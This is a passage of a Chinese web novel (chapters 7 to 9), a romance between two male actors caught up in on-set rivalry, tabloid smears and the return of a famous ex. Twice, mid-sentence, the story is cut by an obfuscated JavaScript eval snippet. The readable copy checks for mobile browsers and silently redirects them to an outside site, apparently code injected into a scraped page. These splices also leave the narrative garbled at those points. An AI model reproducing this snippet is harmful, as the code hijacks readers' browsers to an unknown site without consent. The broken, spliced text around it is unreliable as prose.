像冰锥落进起泡酒,“呲啦”一声,所有气泡瞬间炸开。林钰无法形容那一刻的心情,讶然、欣喜、惆怅……总之百味糅杂,令手中的美酒都变得滋味奇怪起来。 他那时还年轻,也并没有非谁不可,既然如此,那就放下吧——放下那点突如其来的心动,也放下复读一年里,看着某个人的海报就滋生出的冲劲。 可缘分的安排就是这样奇妙。 那个冷雨夜,私密的庄园式酒店,终于被烟酒熏得厌烦的人出来透口气,却亲眼目睹了一出爱情大戏,主角正是自己心心念念两年有余的人。 “……我跟你说过多少遍?那帮人没一个干净,让你离他们远点!你为什么不听?!”身材高大的男人甩开缠上来的手臂。 雨幕里,那道清瘦的身影踉跄半步,却又固执地抱住对方胳膊,声音颤抖却急切:“明钧,你听我解释——周总投资的新剧原定男主受伤,现在急着换人……” “姓周的打的什么算盘你不清楚?!”那时的顾影帝远没有如今的冷静自持,被媒体无数次赞誉的含情双目喷涌着怒火,“到底是戏重要还是我重要?” “当然是你!”即使隔着点距离,那张莹白面孔上流露的焦灼也一览无余,“我只是……不想放弃一个机会。David保证只是来聊聊这事,好几个人都在场,明钧你信我……” 昳丽的眉眼在雨夜里熠熠生辉,大概没有谁能抵挡这抹绝色的诱惑。 顾明钧倏地回身,顺势揽住那截细腰,低头狠狠吻住还在解释的双唇。 淅沥的雨声掩盖了靠近又离去的步伐,情绪激荡的两人没有发现那双窥探的眼睛。 然而这夜雨中的一幕却烙印在林钰的脑海里,挥之不去。 7. 第 7 章 林钰当然不会拆穿许亦清的谎言。 谁还没点过去呢?最重要的是现在!他觉得表白这事不能拖,不过考虑到许亦清的性格,他得等一个契机——尽可能一击即中、让他无法拒绝。 到了片场两人分开拍摄,林钰进A组跟韩宇演对手戏,许亦清则去B组补拍个人镜头,他戏好,几条就过,收工后晃到A组观摩林钰和侯超对戏。 布景宽阔大气的客厅,韩宇霸气十足地端坐在真皮沙发上,冰冷的面孔、阴郁的眼神表达着此刻不悦的心情。 汪逸阳——也就是林钰——衣衫凌乱、嘴角破皮,显然刚被“教育”过。两个黑衣打手反剪他的胳膊,把人押到沙发前。 韩宇扯开领结,缓缓起身,走到汪逸阳跟前,一只手抬起他的下巴,露出轻蔑的眼神:“就凭你?” 按剧情设计,接下来侯超要给林钰一巴掌,同时警告他:离我的人远点! 关于“甩巴掌”这事,就是许亦清担心的“公报私仇”了。 导演组当然是力求真实,管你真打假打,只要拍出来像那么回事。一般关系不错的演员,肯定是雷声大、雨点小,看着打得扎实,实际上不会伤人脸面,毕竟大家都要靠脸吃饭。 但彼此间有龃齬,借机泄愤的也不在少数。尤其是一些咖位小的新人,剧情需要,打了就打了,难道你还能打回去? 在林钰这儿,答案是——能。 侯超那一巴掌显然没有留多少余力,“啪”一声脆响,林钰那张帅脸被打得偏向一边。但紧接着,原本半跪的人骤然起身,胳膊一抡——侯超显然没料到他会还手,捂着脸,瞪大了眼睛! 两个饰演打手的群演也吓傻了:他们只是虚扣着林钰的胳膊,轻轻一挣就松开,反衬得林钰的反击更突然、更响亮。 “啊sorrysorry,条件反射!超哥真的对不起,我从小到大都这毛病,谁打我立马就要打回去!我爸教的!”林钰道歉不迭,又冲着摄影机位,“摄影老师,超哥打我那巴掌拍到了吗?不行再来一次吧,这次我保证不还手。” 许亦清坐监视器后头,跟施导对视一眼,都露出一个不敢置信的眼神。 对于侯超和林钰争番位,施导当然心里有数。 老实说,侯超跟许亦清第一季的搭档还是不错的,化学反应也有,演技上侯超不如许亦清,但是带得动,不然也不能火。 可侯超只有影视约在星潮,而许亦清和林钰则是星潮的全约艺人,首先利益的天平就倾向了这一对。 其次,林钰和许亦清一搭戏,画面竟然出奇和谐,张力足、CP感也很强,尤其是林钰的演技,令人眼前一亮。如果侯超能打八分,林钰就能拿到九分。 再加上姜施岳千叮咛、万嘱咐,所以整个导演组确实都在默认给林钰加戏。这也不算职场霸凌,不管是BG还是BL剧集,第二季把主CP丢一边,捧副CP的大有人在,无非是利益的再分配。 但作为导演他还是要把这股火药味摁在安全线以内,要是做得太过分,一方掀桌子,对整部剧肯定有负面影响。 所以今天这场戏,他故意没提点林钰——年轻人吃点亏、长点记性,不是坏事。只是没料到林钰这么刚,场面一时间有些难堪地胶着。 摄影师扛着机器小跑过来,一脸为难地打破尴尬,“施导,您看这……”他展示着画面,“旁边玻璃镜窗里晃进了这几个,还真得再保一条,不然就穿帮了。” 施导叹了口气,挥手示意场务清场,“怎么办呢?拍吧。”既然非拍不可,干脆给侯超个台阶,高声示意两个群演,“这次扣紧点,扣住他肩膀,别让这小子又条件反射。” 有导演撑腰,侯超脸上的惊愕转为得意,活动着肩膀,“兄弟,对不住了。你放心,我会控制力道的。” 旁观的许亦清都捏了把汗,林钰却是一脸真诚:“没事超哥,你放开手,拍戏么就讲究个真,你尽管招呼我受得住!” 一声“Action!”过后,侯超再度松开衣领,踱步到林钰身边,抬下巴、甩巴掌——没有“啪”的一声脆响,但林钰的脸被再度打得偏向一边,他倔强地回过头,一边长眉挑起露出个挑衅十足的表情。 许亦清连眼都没眨,就见侯超“噌噌噌”连退好几步,仰倒在沙发上。 “哎哟,这臭小子!”施导猛地起身,顺手搡了许亦清一把,“赶紧把人拎休息室去!” 许亦清愣了半秒才回过神——巴掌戏跟所有动作设计一样,一轮走位,对方就能掌握你的节奏。 林钰显然预判到了侯超的动作:掌风扫过,他恰到好处地侧头,镜头里看着结结实实,其实巴掌落了个空。 这分寸得掐到毫秒,稍晚一点就穿帮。 如果只是这样,倒也罢了。 被扣住双肩的林钰的确没还手——他伸腿了!一记暗蹬,直接把侯超送出去两米远。 不用问,又是那该死的“条件反射”。 这回他也不道歉了,一脸沮丧地低着头,周身都溢满了无法控制自己的懊恼。 啧啧啧……许亦清差点笑出声,这演技真是绝了! 施导还是偏向他的,让许亦清把人拉走,自个转身往侯超的方向走去,跟副导演一块去做安抚工作了。 许亦清把林钰搡进休息室,反手带上门。 房间里只剩顶灯泛着暖黄的光晕。林钰垂着头,一声不吭陷进沙发里,像做错事的大狗。 许亦清走过去踢他一脚,“别装了——” 话没说完,腰忽然被两条胳膊箍住,一头茂密黑发埋进他腰腹间,肩膀微微地耸动着,声音闷得可怜:“亦哥,我长这么大,第一次被人打……” 林钰抬眼,眼眶竟真泛着水汽。 许亦清吓了一跳,俯身细看,这才发现他被打的那边脸明显红肿起来了,看样子侯超用了十足的力道。也怪不得孩子会应激还手了。 指腹不自觉贴上那片灼热,低声问道:“疼吗?” 林钰可怜巴巴地点点头。 许亦清叹了口气,“做新人是这样的,难免受点委屈,等你咖位上去了,就没人敢这样了……” 那双湿漉漉的眼睛太有欺骗性,让他忘了这货压根没吃亏。 “亦哥,你当新人的时候……也挨过打吗?” 这话让许亦清回想起一些不太愉快的经历,可也在无形中拉近了彼此的距离。 他点点头。 林钰一把扣住他手腕,“是谁?谁打你了?” 许亦清愣了一下,“几年前的事了,不记得了……” 林钰不肯罢休,一脸倔强地盯着他。 许亦清无奈地叹道,“宋奕,你听过吧?我跟他同期。场景就跟你和侯超差不多,不过我没有你反应快。” 当然听过,“宋奕”这名字在华国可以说家喻户晓,不过这两年急流勇退,传闻去温哥华养老了。 “哦……”林钰颌首,“总有一天,我替你讨回来。” 许亦清不以为然,转身要走,“我去给你拿点冰块。” 林钰拉住他胳膊,“我不要冰块……抱一下,行吗?” 他垮着双肩、垂着脑袋,还是一脸郁郁难言的样子。 许亦清犹豫两秒,还是走上前。 他本意是要给对方一个兄弟式的安慰地拥抱,结果双臂一张开,高挑的身影倏然扑来,双臂箍紧他的后背,额头抵在他肩窝,整个人严丝合缝地嵌进他怀里。 “你这孩子……”许亦清脱口而出,见对方不肯撒手,只好安抚地轻拍两下。 林钰微弓着腰,将头埋在他颈侧,悄悄地却是深深地轻嗅着这具身躯传递的气息。 剧集里他们有不少亲密的接触,但这个拥抱是不同的。 没有摄影机、没有场记打板,不会有扫兴的人跳出来喊“卡”,他深感这一巴掌实在挨得值得。 不过他没料到,这一巴掌带来的好处还远不止于此。 这事过去没两天,互联网上突然流传出两个小视频,标题十分吸睛:“糊团爱豆疑出柜,片场抢镜献殷勤”,视频主角则是林钰和许亦清。 看得出是远距离偷拍,画质不算清晰,场景是许亦清坐在那里翻看着类似剧本的纸张,林钰拿了杯咖啡递过去,许亦清随手接过。林钰却顺势在他脚边蹲下来,仰头笑嘻嘻地看着他。 两个人都没有专属助理,这种接触是极为日常的,可视频一拍出来,加个滤镜,立马就变得暧昧起来。 许亦清都有些吃惊,他从没留意过林钰看他的表情。 而另一个视频内容就更让人起鸡皮疙瘩了。 大概是转场,工作人员在搬器材,许亦清或许是疲累了,靠在窗边沙发上假寐,林钰拎了条薄毯,蹑手蹑脚地给他盖上。 偷拍镜头借了个刁钻角度——林钰俯身瞬间好像要亲上睡着的人一样。 星潮娱乐的会议室里,林钰大呼冤枉:“我就给亦哥盖了个毯子,真没亲!”虽然心痒难耐,但这点分寸他还是有的,“这事绝逼是侯超请的那私人助理干的,一天到晚鬼鬼祟祟……” 许亦清的经纪人嫌他呱噪,暗地里瞪他一眼,转头看向宣发部,“我跟侯超谈过了,他不肯认。不过现在追究谁干的也没意义,还得公司出面压一压舆论。” 侯超影视约签在星潮后,与许亦清隶属同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几乎同一时间,狗仔再曝猛料:许亦清深夜进入星级酒店,次日清晨脚步虚浮地离开,照片里的狼狈被解读为“为上位不择手段”的铁证。 三方夹击,节奏精准得像一场围剿。键盘侠们闻风而动,将许亦清钉死在耻辱柱上,污言秽语如潮水般涌来。他刚刚泛起波澜的事业,瞬间被浊浪吞没,连挣扎的余地都没有。 林钰那时刚签约星潮,辗转弄到许亦清的游戏账号,他不敢透露身份,毕竟对方完全不认识他。他也假装不知道对方的处境,没日没夜地陪着打了几天游戏,由此建立的交情。 彼时的林钰还很青涩,不明白他们为什么要联合起来针对许亦清,今天的他一眼就能看透: 六年前,双男主剧还被禁止拍摄,顾明钧是一炮而红能上大银幕的摇钱树,经纪公司怎会允许他沾染同性绯闻? 而宋奕则是在新剧中感受到了男二带来的威胁,不少媒体通稿盛赞许亦清的俊美,风头隐隐盖过他这个男一; 至于狗仔,他们不关心真相,只在乎流量; 只有许亦清—— 与经纪公司的合约本就到期,原本谈好条件的续约变成了泡影; 洽谈中的几个代言也黄了,没签约倒成了侥幸,不然违约金都赔不起; 几个平台的个人账号被举报到封号,无处申诉也无从辩解。 如今这事在网络上开始发酵,林钰担心旧事又被翻出来,他拉开椅子,挨着许亦清坐下:“亦哥,这几天别上网,林子大了什么鸟都有。”又转头看向安琪,“要不用我个人账号发条澄清声明吧,这是我第一次演戏,多跟……前辈请教不是很正常的吗?”虽然他很不想称许亦清为“前辈”。 许亦清摆摆手,“别费事。就咱俩这点热度,掀不起大浪,过几天就散了。”网上这些东西经历过了,也就那么回事。何况他也不是六年前了,早看开了。 “砰——” 会议室的门被推开,姜施岳踩着细高跟,风一般卷进来,将一本杂志啪地摔在会议桌上。 “我跟Queena死磕到底,她答应给我挤一个档期。你们两个,”她执着文件夹点着林钰和许亦清,“接下来两天,皮肤、精神,都给我调到最佳!这可是我动用私人关系才抢来的版面,谁要是掉链子,别怪我翻脸。” 许亦清的经纪人一把抄起杂志,眼睛瞬间瞪圆:“《LUMENIS》?姜姐威武!” 危机公关拼的是速度,更拼人脉。谁能第一时间把负面压下去,再把资源抬上来,谁就是金牌经纪人。 姜施岳也难掩得色,“想放冷箭坏我手底下的人?看我给他唱一出‘借东风’!” 8. 第 8 章 作为业内享有盛名的摄影师,Queena在京郊拥有自己的工作室,一栋现代极简风格的建筑,浅灰色墙体搭配大面积落地玻璃窗,金属檐口的屋顶在阳光下闪闪发光。 许亦清之前参演的剧集拍宣传照,大多是在摄影棚,头一回来这。林钰却是熟络地跟出来迎接的助理打招呼:“Hi,Akili.Yes,I''ve been good, thanks! What about you?” 转头跟许亦清解释:“我们团首发 MV 海报、周边什么的都在这儿拍的。施岳跟这个Queena 交情不错。” 许亦清略带调侃笑意地看了他一眼,“沾你光了。” 林钰立刻意识到他听过他跟姜施岳的事,“哎,亦哥,我……” 丁颂背着个大包从保姆车上下来,从包里掏出吸管杯塞他手上,“姜姐一早打电话给我说你有点上火,千万记得给你泡降火茶,给!” 林钰:“……” 他眼睁睁看着许亦清跟着Akili走进那幢二层小楼,转头恼怒地瞪了丁颂一眼。 丁颂瑟缩了一下,“干嘛……瞪我?我做错什么了?” 林钰跟在许亦清身后急匆匆走进大厅,艺术的气息扑面而来。 姜施岳动用多方关系也要争取到Queena的档期当然是有原因的,她的作品向来以色彩艳丽、大胆著称,十分擅长运用超饱和的颜色,将时尚拍成一副古典油画,现实场景结合构图,使人物像从文艺复兴时期走来的贵族,带给观众极强的视觉冲击。 既然要推这对CP,首登杂志就非常关键,尽管因为咖位不够,上不了封面,但内页同样有发挥的余地,只要照片够抓人,就能给读者留下深刻印象。 她是事业型女性,具备极强的专业能力,当初从规划角度出发不同意林钰拍摄腐剧,宁可大吵一架分手也绝不妥协。 可随着《霸爱》第一季的爆火,她立刻意识到:林钰是对的——当下最重要的,是先让市场看见他。思路一调整,各项策划立马就跟着来了。 作为资深媒体人,她敏锐地察觉到侯超玩的这出可以反向操盘——赤裸炒 CP 或者硬卖腐都会败好感,从第三方角度切入反而会有意想不到的效果。 艺人账号由公司统一管理,她先锁死个人发声通道,再用官方号连发三支幕后花絮:有侯超和许亦清演对手戏的,也有林钰和许亦清的,更有三人站一块聊天讨论剧情的,力破不合的传闻。 但在花絮的选择上则有倾向性地去表现林钰和许亦清对戏的张力。果然,舆论风向立马被带偏: “哎!你别说,林钰跟许亦清还真的……挺有那个感觉!” “这一对是年下吧,差多少来着?九岁?正正好!” “你们不觉得侯超过于魁梧了吗?其实许亦清偏清瘦,就要搭这种瘦条型的帅哥啊!” “林钰可是NF团的门面啊!小狼狗颜值高、身材好,还有八块腹肌……好磕好磕!” 拿下时尚大刊《LUMENIS》的内页,是姜施岳为这对新 CP 点响的第二枪。从邀约摄影师到服装的挑选、版面的敲定,通通亲力亲为。 许亦清在整面墙的穿衣镜前整理着脖间的领结,这件中世纪复古风格的真丝衬衫是品牌手工定制,虽然不是顶奢,要借到也不容易。他夸赞了一句,“你女……姜小姐很能干。” 林钰总算逮到机会解释,“是前女友!分手都大半年了,真的。”想想觉得不够,又再次声明:“施岳做事向来追求完美,而且我跟她是利益共同体,她做这些是从工作角度出发,绝不是因为私情,你可千万不要误会。” “我误会什么?”许亦清诧异地扬眉。 林钰还想要进一步解释,丁颂蹦进来,一脸夸张地惊呼:“哇,亦哥钰哥你们两个看起来好般配!”这趟一块出来工作,他自觉跟许亦清熟稔了不少,也跟着林钰叫“亦哥”,不叫“许老师”了。 他一双星星眼盯着两人瞧: 两件同色不同款的衬衫穿在林钰和许亦清身上,展现的是两种完全不同的风格。 许亦清的那件略微繁复,他饰演的是右位角色,妆容并没有将他女化,只从服装的角度去展现一种华丽与温柔兼具的美感。 而林钰的那件则偏简洁飘逸,硬朗的身线压住了那份轻浮,同样没有过多使用彩妆用品,只用少量阴影粉加深轮廓,令他整体看起来像一个中世纪骑士,俊俏中透着几分傲慢。 本就是风格迥异的美男子,服装和氛围的加持,让并肩而立的身影看起来个性鲜明又出奇地和谐。 两人的适配度似乎挑动了Queena的创作激情,她一会弓腰在碳纤维三脚架后头,一会端着高感机来回疾走,用英语大声呼喝着几个助理调灯、挪板、换景,同时提示两个模特按她的要求摆出各种pose。 她是拉丁裔,西语口音很重,尖子嗓子喊:“Hey, on the right——could you crouch down a little?” 许亦清知道是喊他,但他英语一般,一下子没反应过来她喊的内容,林钰在一旁翻译,“亦哥,蹲低点,再靠近我多一点,头放我肩上,对……好,脸转过来,垂头,眼睛看地面,但嘴要对着我,亲上来……” 许亦清皱眉,林钰小声叨叨:“是摄影师说的……” 太近了,两人唇几乎贴在一块,他张嘴说话,一股很清爽的牙膏气息喷在许亦清唇上、脸上,让他不自觉脸红。 林钰一只手搂着他腰,目不转睛地盯着他脸:天啊,这个男人怎么这么可爱!都多大了怎么还会脸红? 他都不记得上一次脸红是什么时候了?他好像天生就不知道害臊,上小学那会上台领个什么奖,太激动拌了一跤,他还顺便滑了个新学的太空步,觉得自己特帅! 念中学那会早恋,被教导主任抓了个现行,特爷们地把责任都揽自己身上,上广播室念检讨,东拼西凑的检讨书把全校师生逗得哈哈大笑,教导主任紧急冲到广播室喊停。 跟许亦清演对手戏,悸动、激动、冲动——跟害羞没半毛钱关系。 他忍不住喃喃道:“亦哥,你脸好红。” “这也是摄影师说的?”许亦清没好气地瞪他一眼,低低地嗡声。 Queena在一旁大喊:““Boom!That’s the one!” 摄影师终于拍到了满意的作品,总算可以收工。两人卸了妆、换了衣服一块往停车场走,丁颂背着包跟在旁边。 郊区场地开阔,用不着修地下室,停车场就设在这栋风格建筑的旁侧,三人慢悠悠地踱步闲聊。 “你英语怎么这么好?”Queena口音重、语速又很快,许亦清听得很吃力。 丁颂在一旁插嘴,“钰哥以前谈过一个西妞!” 林钰恨得咬牙,飞起一脚踢他屁股上,“赶紧把东西送车上去!” 一脚踢走丁颂,转头立马解释,“亦哥别听他瞎说!我们团都是洋鬼子,日常交流英语说得比较多。” 公司对NF团的规划其实是走国际路线,四个团员傅子翔来自泰兰德,崔英浩是泡菜国人,张弛是美籍华裔ABC,只有林钰是土生土长金城人。经常鸡同鸭讲,吵作一团,但英语是国际普通话,确实说得最多。 许亦清瞥他一眼,“那还是西妞的功劳大一点。” 林钰大喊冤枉:“就谈了俩月,公司不让谈就分了。”他赶忙转移话题,“我们团那几个其实都是你粉丝,只是你在公司不怎么说话,他们不敢造次。” “是吗?”许亦清不大相信。 “你不信?我们经常聚一块吃火锅,下次邀请你好不好?”林钰倒也没说谎,NF团不够火,空闲时间多,上完表演课,也会刷刷公司发行的剧,许亦清的形象和演技得到了一致好评。 许亦清但笑不语,林钰忙跟他确认:“亦哥,你肯赏脸吗?” “什么?” “吃火锅。我们隔三岔五吃顿放纵餐,一般在我家。傅子翔做的泰式火锅挺好吃的,崔英浩会带他妈妈做的泡菜,张弛煎牛排最拿手了……” “那你负责什么?” “我负责吃啊……” 并肩而行的身影看上去十分和谐,身材高挑些的男子脸上带着十分明朗的笑,整个身体都歪向一侧,肢体语言表达着他对身边人的亲近或者说喜爱。 顾明钧不悦地皱眉,深邃双眼隔着厚重车窗,滑过这副温馨的画面,凝视在许亦清身上。 他怔怔看着那抹愈走愈近的身影,其实偶尔活动也会碰到,但彼此刻意回避的目光令相遇的场景十分模糊。 这样看着,这个人与多年前似乎毫无差别,步态不疾不徐,肩背永远笔直。播音主持专业的优等生,体现在拍戏当中,便是仪态格外好、台词功底扎实。 他与他大学同系不同专业,很长时间并不知道这个人的存在。 但凡能翘的公共课,他基本都翘了——晚上在夜场驻唱,白天在宿舍补觉。毕竟继父明确表示,能给他支付艺术类的高昂学费已算仁至义尽,生活费等其它花销都要靠自己。 一直到大二,一场推不掉的校园歌手大赛。 他是表面平静、内心慌乱的主持人之一,他是背着吉他、桀骜不驯的参赛歌手。“这傻逼玩意还要搞到什么时候去?”后台排练室里,他拽住一个穿西装、打领结主持模样的男生,“能不能帮我调到前面去?我晚上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487717|185710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有事……” 那人演讲稿掉到地上,抬起头来,是一张让人过目难忘的脸。 他先回过神来,伸出手:“不好意思吓到你了,我叫顾明钧,你呢?” 微凉的手指回握过来,“……许亦清。” “亦……清……”时至今日,舌尖滚过这个名字,心底仍会泛起难言的颤栗。 二十出头的年纪,爱情来得轰轰烈烈。 他向来不畏惧别人的目光,也不在乎流言蜚语,敢当着别人的面表白,“我就是喜欢许亦清”,也敢跟骂他不知羞耻的继父彻底决裂。 一天打四份工累得晕倒,也要给他买一份像样的生日礼物。放长假,隔着两个市,骑十个小时的自行车,只为了给他一个惊喜。 他是真的、掏心掏肺地爱过他——面对背叛才格外不能接受、不能容忍、更不能忘却。 顾明钧看着许亦清身旁那个愣头青,小心翼翼的神情、欢喜打探的目光,就像看到多年前的自己,嘴角不由得勾起一道冷嘲,又是一个被那副皮囊所迷惑的蠢人。 他滑开车门,踏入夕阳映衬的草坪。 “亦清,好久不见了。”目光落在因为他的出现而呆怔的两人身上,“方便吗?一块吃个饭?” 林钰先反应过来,伸出一只手去,“啊,顾老师。”他看一眼面孔雪白的许亦清,“我跟亦清正要回公司。” 顾明钧原本不想跟这蠢人搭话,这样一来倒不得不回复了,“是林……钰吧?本人更帅气。亦清,”他转头看向许亦清,“新男友?” 这个“新”字用得极好,像根细针,扎得许亦清微微一颤。他低声否认:“不是。” 顾明钧冲林钰勾起嘴角,“不是的话……我们同乡叙旧,就不邀请林老师了,下次再约。” “择日不如撞日,我吃得很少的……”林钰怎么可能放心这两人单独相处,厚着脸皮也要横插一脚。 许亦清开口打断他,“我还有事,改天……” 顾明钧蓦地伸手拉住他胳膊,“亦清,我们可以谈谈合作。”他松开手,“一块演一部片子曾是我们的约定,不是吗?” 他转身往车上走,似乎断定许亦清不会拒绝他的邀约。 林钰还要开口,却见顾明钧蓦地回头,环视四周,他对镜头十分敏感,几乎是条件反射般向前一步,跨进了车厢。 停车场旁边修剪整齐的苗木后头闪出狗仔的身影,不远处几辆车疾驰而来,“哧”一声急刹,车上跳下几个扛着长枪短炮的记者。 手执话筒的美女跑得气喘吁吁,话筒伸进车厢,阻止里头的人关上车门,“顾老师、顾老师,您上次接受采访说‘最重要的人’,是指之前与您传过同性绯闻的许亦清吗?” 林钰在话筒涌过来之前,果断攥起许亦清胳膊转身,火速跑回了Queena那栋小楼。 门口守着的保安显然见惯不惊,反手拉上玻璃门,将记者挡在门外,指了指门额上挂着的“私人重地非请勿入”的铭牌,一言不发。 “好险!”林钰喘了口气,手指在手机屏幕上噼啪飞舞,随即拨通电话,泰语夹着汉语一通招呼。 许亦清有些茫然地望着他。 “傅子翔在这个附近,让他来接我们。”林钰环顾四周——宽敞的会客厅被两排陈列架一分为二:一侧码满摄影书籍与作品集,另一侧悬着各式服装。 他抽出一本精装摄影集塞给许亦清,“亦哥,先坐着看会儿。”又取下一件薄呢外套替他披上,“入秋了,别着凉。” 许亦清有些摸不着头脑,但他此刻思绪混乱,几乎是机械般地任他将外套披在肩上、书本塞在手里。他侧坐在沙发上看书的身影映照在落地玻璃窗上,几个娱记隔着一道水帘守在门外指指点点。 林钰满意地点点头,掏出手机打给丁颂,“等会让司机把车开到这个门口来,我跟亦哥坐傅子翔的车从后门走,等甩开那些狗仔我打给你,你们再回公司。” 不久后他招呼许亦清起身,把人带到洗手间门口,又把 Akili 叫来:“你披上这件外套,坐回刚才的位置,撑五分钟,拜托!” 替身就位,他拖起许亦清的手,火速打开后门,猫腰钻进了傅子翔的车厢。 这一招声东击西,成功让他们摆脱了那群追逐版面与流量的娱记。 来自泰兰德的傅子翔用泰式普通话叫着“许老师”:“我看过你演的《霓虹》啦,还有《流新(星)国度》啦,你演得好好哦……” 林钰很高兴他验证他没有说假话,欣慰地拍着他肩膀,“兄弟,全靠你了!” “放心吧,我可是老诗(司)机啦!”他自诩车技娴熟,在车流里游鱼似的左拐右转,结果还是一头撞入金城的晚高峰,动弹不得。 9. 第 9 章 许亦清觉得自己被劈成了两半。 一半坐在车里,跟傅子翔闲聊: “过奖了,并没有你说的那么好,还有很多进步的空间。” “对,五六年前的片子了,嗯,谢导的作品……” 一半还站在那个停车场的草坪,跟顾明钧对视。 为什么要突然出现呢?还说着过去的约定,在他彻底放下之后。 刚分手那两年,他无数次地祈盼过,他会出现在他回家的路口;夜归的客厅里会泛着昏黄的灯光;纪念日会收到一条短信; 他等了两年才搬家,怕顾明钧会回来、怕缪斯会回来,结果不管是人还是猫都没有等到。 可心里其实知道,他是等不到的。缪斯是只热爱自由的猫,而顾明钧是个骄傲的人。只是接受现实总需要一些时间。 车辆走走停停,他的心潮起起伏伏。 江省A大的艺术系全国闻名,而顾明钧是艺术系的风云人物。 尽管许亦清从小到大都被夸赞长得好看,但艺术系公认的系草却是顾明钧。他比他高大、比他有男人味,更受女同学们亲睐。 他和室友去食堂、去操场、去图书馆的路上,见证过各式女孩子给他递情书、送礼物或者当众表白,艺术系的女生向来是很敢的。 而顾明钧总背着他那把吉他、穿着破洞牛仔裤+大T恤,将不耐烦写在脸上:“别挡路。不要。没兴趣。”拽得二五八万似的。 这样暴躁、傲慢的顾明钧追他的时候却很放得下脸面…… 许亦清一边回应着傅子翔的搭话,一边沉浸在回忆里,他自认为掩饰得天衣无缝,身旁的林钰却是一目了然——毕竟他抓着他的手一直没放开,他也没有反应过来。 据说脸长得好看的人,手也差不了,林钰深以为然,握在他掌心的这只手,不大不小,白皙绵软,指节修长,比女孩子的手多了一份筋骨感,但又跟他们团里那几个哥们的手截然不同。 他感受着手掌传来的温度,巴望着时光可以拉得更长一点。 可惜傅子翔一脚刹车,许亦清反应过来,触电般甩开他的抓握。 林钰像是没有发现他的挣脱,扭头看向窗外,语气很自然地感慨,“天啊,这得堵到什么时候去?!” 他紧接着低声说了一句泰语,像是加了一句口头禅。 可前座的傅子翔立刻接收到信号,转头便用蹩脚的普通话夸张地叫喊起来,“这可怎么办?我朋友还在世贸等我,公司好不容易放一天假。” 许亦清顿感不好意思,“麻烦你了,前面路口把我放下吧,我打车回去。” 林钰趴车窗边瞅了瞅,“右拐,停我家楼底下吧,你赶紧去赴约,我开车送亦哥回去。” “不用麻烦,我打车就行了。” “这个点哪里打得到车?”林钰示意他看车窗外连成一片的刹车灯,递了个口罩给他,“地铁也是晚高峰,亦哥粉丝那么多,回头把你挤车窗上。” 他不由分说,攥着许亦清胳膊就下了车,歪头冲傅子翔打了个wink:“兄弟谢啦!” “亦哥,上去坐会吧,晚点没这么堵我再送你。再说了,今天这事还不知道怎么收场,回头我打电话给公司,看有没有什么安排。”他步步为营,把许亦清拖回了他的狗窝。 顾明钧地出现让林钰决定加快进程,顾影帝要跟亦哥谈合作?八成是想吃回头草!他审时度势、当机立断:今晚就把话挑明!把生米煮成熟饭! 如果是平时,许亦清或许能看穿林钰的伎俩,可这心乱如麻的当口,他没什么异议地跟着他进了电梯。 这套公寓面积不大,六七十个平方,跟他和顾明钧租住的第一套房子差不多。 他们租的那套还要更旧一些,地段也没这么好,可是能从地下室搬进这样的房子,已经足够他们庆祝一番:他下厨做了四五个拿手菜,顾明钧扛回一箱啤酒,两人酒量都一般,喝得醉醺醺的,然后…… 林钰手忙脚乱地收拾着散落各处的衣服、袜子,许亦清怔怔在沙发上落座。 他之前没有想过要当演员,是顾明钧启发了这个梦想: “亦清,每个人都只有一辈子,可演员除外。一部电影就是一段人生,可以有很多个‘我’,别人只活一辈子,我能活十辈子,甚至更多,你说赚不赚?”他还记得他说这话时熠熠生辉的眉眼,“来到这个世界上,就要活个够本!我们可以凭本事赚大钱、享受最好的、最精彩的……” 不过享受精彩人生之前,他们首先要面对的是柴米油盐。 因为跟他在一块,顾明钧彻底跟家里断绝了来往。而许亦清这边,他妈去世一个月他爸就续娶,关系也很僵。在群演公会交了一笔押金后,两人凑一块也没剩几个钱…… 林钰挂了电话,“公司已经知道这事了,会跟进处理,让我们出入小心些,明天公司派车接你去剧组。” “嗯。” “亦哥,饿不饿?我给你下碗面。” “嗯。” 直到林钰将一碗看上去像意大利面,但颜色、气味都莫名难辨的东西摆在他面前,许亦清才彻底回过神来。 “这是什么?” “意大利面,全麦的,放心吃,”林钰得意洋洋地掰手指,“我给你加了牛肉、鸡蛋,还有洋葱。” 许亦清瞅着那绿油油的一大碗皱眉,“怎么这个颜色?” “我放了点蜂蜜,还有芥末,”林钰从他皱着的鼻子看出点不对劲来,低头闻了闻,有些心虚地补充,“不是很冲,应该能吃吧……” 许亦清叹了口气,站起身挽袖子,“我来吧,厨房在哪?” 林钰赶紧拉开冰箱门,冷藏室塞满半成品,许亦清挑出几盒肥牛肉片、鸡蛋、西红柿。 林钰讪讪拿了条围裙,“我给你系上?别把你衣服弄脏了。” 许亦清不置可否。 林钰绕到他身后,双臂环过那截细腰,指尖在围裙带子上打了个结。目光却不受控地往下滑:挺翘的弧度像一把钩子,把他心脏猛地拎起来。 妈的!也不是没谈过,头一回觉得自己是个榴芒、涩批! 他强迫眼睛往上,看那道身影在灶台间转动、修长的手指排布着食材,亦哥真是哪哪都好,长得好看、身材比例一级棒、又会做饭,他已经从每天的早餐领略到了他高超的厨艺,就连减脂餐都做得比买的好吃…… 傻子才肯跟他分手吧? 他不清楚许亦清和顾明钧分手的具体原因,应该是那场网暴之后的事情,因为整整两年许亦清没有公开露面,游戏好友栏那个黑猫头像几乎一天到晚亮着。反倒是林钰因为集训、成团只能偶尔挤时间陪他打游戏、聊天。 可不管是什么原因,当年顾明钧没敢承认恋情,如今怎么还有脸回头招惹?——门都没有! 